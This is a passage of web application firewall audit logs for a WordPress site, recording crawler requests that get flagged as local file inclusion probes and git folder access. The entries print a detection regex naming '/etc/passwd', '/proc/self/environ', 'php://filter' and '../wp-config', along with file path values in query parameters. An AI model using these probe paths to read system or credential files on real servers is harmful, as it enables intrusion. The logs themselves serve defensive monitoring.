rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"37d82782f124ae07c9bcfae2ed22f92c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":229,"p2":4549,"p3":0,"p4":0,"p5":259,"sr":136,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:16:51.124112 +0100","transaction_id":"abNlgvGByT275eeM2ZlEggAAARM","remote_address":"57.141.20.14","remote_port":49330,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/g/guru-76-wm HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"8099c8fe91bb41e791566e7a034c98ec","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25505802"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8099c8fe91bb41e791566e7a034c98ec","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/g/guru-76-wm||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":6790,"p3":0,"p4":0,"p5":325,"sr":127,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:16:57.264546 +0100","transaction_id":"abNliPGYjQkrq8Uo_EwP8wAAAIk","remote_address":"40.77.167.255","remote_port":46476,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /sitemaps.xml HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"40.77.167.255","X-Forwarded-Proto":"https","X-Request-Id":"95b15c07b6b566f20ac2c9a33f131b2d","X-L-Admin-Auth":"0","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","from":"bingbot(at)microsoft.com","accept":"*/*","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"17545322","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"95b15c07b6b566f20ac2c9a33f131b2d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":168,"p2":3169,"p3":0,"p4":0,"p5":272,"sr":106,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:17:33.781153 +0100","transaction_id":"abNlrX6c0W8rkQnlo8JOgAAAAcI","remote_address":"65.109.118.212","remote_port":37298,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"7a66741089322ba3b4ecfaf342c59dc0","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27892133","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"7a66741089322ba3b4ecfaf342c59dc0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":4547,"p3":0,"p4":0,"p5":279,"sr":144,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:19:34.708957 +0100","transaction_id":"abNmJqNDElJSaUY9M9GwDwAAAME","remote_address":"65.109.118.212","remote_port":46816,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"eed7a3cbb07059c95fc367f1d307a8d1","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25236232","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"eed7a3cbb07059c95fc367f1d307a8d1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":297,"p2":2724,"p3":0,"p4":0,"p5":218,"sr":90,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:20:32.917822 +0100","transaction_id":"abNmYH6c0W8rkQnlo8JQAQAAAcM","remote_address":"57.141.20.11","remote_port":58310,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=/sftproot/htdocs/sivaco/.git/hooks/pre-push.sample HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"a012de0946e5ae22e504dd1a56e9a465","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25236355"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a012de0946e5ae22e504dd1a56e9a465","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?view=/sftproot/htdocs/sivaco/.git/hooks/pre-push.sample||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":6290,"p3":0,"p4":0,"p5":349,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:21:38.697262 +0100","transaction_id":"abNmofGYjQkrq8Uo_EwSegAAAIA","remote_address":"65.109.118.212","remote_port":55300,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"8c2b5ea40e7cc94ed4f094c5ba7f4e87","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30740293","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"8c2b5ea40e7cc94ed4f094c5ba7f4e87","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":268,"p2":5168,"p3":0,"p4":0,"p5":409,"sr":183,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:21:55.495354 +0100","transaction_id":"abNmsfGByT275eeM2ZlGfAAAAQw","remote_address":"57.141.20.58","remote_port":36372,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/hathor/hathor.4.3.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"52d6a655849d2f069a5f94a87b7071ff","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19668325"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"52d6a655849d2f069a5f94a87b7071ff","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/hathor/hathor.4.3.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":314,"p2":5969,"p3":0,"p4":0,"p5":328,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:22:17.441465 +0100","transaction_id":"abNmyH6c0W8rkQnlo8JQjQAAAdg","remote_address":"57.141.20.6","remote_port":36282,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/var/lib/mibs/ietf/VDSL-LINE-EXT-MCM-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"815bd60de468c4e64b1899a4d7e8ca17","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"21478702"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"815bd60de468c4e64b1899a4d7e8ca17","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/VDSL-LINE-EXT-MCM-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":269,"p2":5725,"p3":0,"p4":0,"p5":365,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:22:22.179809 +0100","transaction_id":"abNmzfGYjQkrq8Uo_EwTWAAAAJA","remote_address":"57.141.20.7","remote_port":36360,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/a/att5420-rv-nl HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"1b110d5653ca2077d7a570243789a08e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19144269"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1b110d5653ca2077d7a570243789a08e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/att5420-rv-nl||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":328,"p2":6523,"p3":0,"p4":0,"p5":350,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:22:25.832037 +0100","transaction_id":"abNm0fGYjQkrq8Uo_EwTaQAAAIM","remote_address":"57.141.20.56","remote_port":34576,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/film-celebrity/film-celebrity.4.6.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"c3ecfd984b7c556d11b20ac94fe06144","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"23044196"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c3ecfd984b7c556d11b20ac94fe06144","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/film-celebrity/film-celebrity.4.6.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":366,"p2":7037,"p3":0,"p4":0,"p5":335,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:23:06.540081 +0100","transaction_id":"abNm-vGByT275eeM2ZlHCwAAAQ4","remote_address":"57.141.20.33","remote_port":36966,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/appointment-hour-booking/appointment-hour-booking.1.5.64.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"97b0a9245221adea2ac73ddbce21503d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19668469"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"97b0a9245221adea2ac73ddbce21503d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/appointment-hour-booking/appointment-hour-booking.1.5.64.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":314,"p2":6835,"p3":0,"p4":0,"p5":328,"sr":163,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
